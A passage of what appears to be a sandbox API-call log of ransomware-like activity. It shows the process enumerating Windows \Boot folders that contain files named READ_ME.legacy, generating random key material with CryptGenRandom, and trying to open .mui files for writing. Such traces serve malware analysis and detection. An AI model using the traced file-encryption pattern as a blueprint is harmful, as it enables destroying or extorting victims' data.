dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0109.321] FindNextFileW (in: hFindFile=0x5a06e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.321] GetLastError () returned 0x5 [0109.321] SetLastError (dwErrCode=0x5) [0109.321] GetLastError () returned 0x5 [0109.321] SetLastError (dwErrCode=0x5) [0109.321] GetLastError () returned 0x5 [0109.322] SetLastError (dwErrCode=0x5) [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02a8 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02a8 | out: hHeap=0x520000) returned 1 [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0109.322] FindNextFileW (in: hFindFile=0x5a06e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0109.322] GetLastError () returned 0x5 [0109.322] SetLastError (dwErrCode=0x5) [0109.322] GetLastError () returned 0x5 [0109.322] SetLastError (dwErrCode=0x5) [0109.322] GetLastError () returned 0x5 [0109.322] SetLastError (dwErrCode=0x5) [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.323] FindNextFileW (in: hFindFile=0x5a06e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0109.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0109.323] GetLastError () returned 0x5 [0109.323] SetLastError (dwErrCode=0x5) [0109.323] GetLastError () returned 0x5 [0109.323] SetLastError (dwErrCode=0x5) [0109.323] GetLastError () returned 0x5 [0109.323] SetLastError (dwErrCode=0x5) [0109.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.323] FindNextFileW (in: hFindFile=0x5a06e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0109.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.323] GetLastError () returned 0x5 [0109.323] SetLastError (dwErrCode=0x5) [0109.323] GetLastError () returned 0x5 [0109.323] SetLastError (dwErrCode=0x5) [0109.323] GetLastError () returned 0x5 [0109.323] SetLastError (dwErrCode=0x5) [0109.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.323] FindNextFileW (in: hFindFile=0x5a06e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2330 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c0fe8 [0109.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2330 | out: pbBuffer=0x5c2330) returned 1 [0109.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c0fe8 | out: pbBuffer=0x5c0fe8) returned 1 [0109.324] SetFileAttributesW (lpFileName="\\Boot\\pt-PT\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.324] CreateFileW (lpFileName="\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2960 [0109.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10f8 [0109.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2960 | out: pbBuffer=0x5c2960) returned 1 [0109.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c10f8 | out: pbBuffer=0x5c10f8) returned 1 [0109.325] SetFileAttributesW (lpFileName="\\Boot\\pt-PT\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.325] CreateFileW (lpFileName="\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563aa0 | out: hHeap=0x520000) returned 1 [0109.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b40 | out: hHeap=0x520000) returned 1 [0109.326] FindFirstFileW (in: lpFileName="\\Boot\\qps-ploc\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0728 [0109.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.326] GetLastError () returned 0x5 [0109.326] SetLastError (dwErrCode=0x5) [0109.326] GetLastError () returned 0x5 [0109.326] SetLastError (dwErrCode=0x5) [0109.326] GetLastError () returned 0x5 [0109.326] SetLastError (dwErrCode=0x5) [0109.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0109.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0109.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0109.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0109.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0109.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0109.326] FindNextFileW (in: hFindFile=0x5a0728, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.327] GetLastError () returned 0x5 [0109.327] SetLastError (dwErrCode=0x5) [0109.327] GetLastError () returned 0x5 [0109.327] SetLastError (dwErrCode=0x5) [0109.327] GetLastError () returned 0x5 [0109.327] SetLastError (dwErrCode=0x5) [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0768 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0768 | out: hHeap=0x520000) returned 1 [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.327] FindNextFileW (in: hFindFile=0x5a0728, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.327] GetLastError () returned 0x5 [0109.327] SetLastError (dwErrCode=0x5) [0109.327] GetLastError () returned 0x5 [0109.327] SetLastError (dwErrCode=0x5) [0109.327] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0109.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0109.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.328] FindNextFileW (in: hFindFile=0x5a0728, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.328] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.328] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.328] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0109.328] FindNextFileW (in: hFindFile=0x5a0728, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.328] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.328] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.328] GetLastError () returned 0x5 [0109.328] SetLastError (dwErrCode=0x5) [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.329] FindNextFileW (in: hFindFile=0x5a0728, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2750 [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1198 [0109.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2750 | out: pbBuffer=0x5c2750) returned 1 [0109.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1198 | out: pbBuffer=0x5c1198) returned 1 [0109.329] SetFileAttributesW (lpFileName="\\Boot\\qps-ploc\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0109.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.329] CreateFileW (lpFileName="\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0109.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0109.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c1bf8 [0109.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c0ff8 [0109.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c1bf8 | out: pbBuffer=0x5c1bf8) returned 1 [0109.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c0ff8 | out: pbBuffer=0x5c0ff8) returned 1 [0109.330] SetFileAttributesW (lpFileName="\\Boot\\qps-ploc\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.330] CreateFileW (lpFileName="\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d28 [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b68 | out: hHeap=0x520000) returned 1 [0109.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5639b0 | out: hHeap=0x520000) returned 1 [0109.330] FindFirstFileW (in: lpFileName="\\Boot\\Resources\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bfbc60, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a01a8 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.331] GetLastError () returned 0x5 [0109.331] SetLastError (dwErrCode=0x5) [0109.331] GetLastError () returned 0x5 [0109.331] SetLastError (dwErrCode=0x5) [0109.331] GetLastError () returned 0x5 [0109.331] SetLastError (dwErrCode=0x5) [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567000 [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x520000) returned 1 [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567000 | out: hHeap=0x520000) returned 1 [0109.331] FindNextFileW (in: hFindFile=0x5a01a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bfbc60, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.331] GetLastError () returned 0x5 [0109.331] SetLastError (dwErrCode=0x5) [0109.332] GetLastError () returned 0x5 [0109.332] SetLastError (dwErrCode=0x5) [0109.332] GetLastError () returned 0x5 [0109.332] SetLastError (dwErrCode=0x5) [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0768 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0768 | out: hHeap=0x520000) returned 1 [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 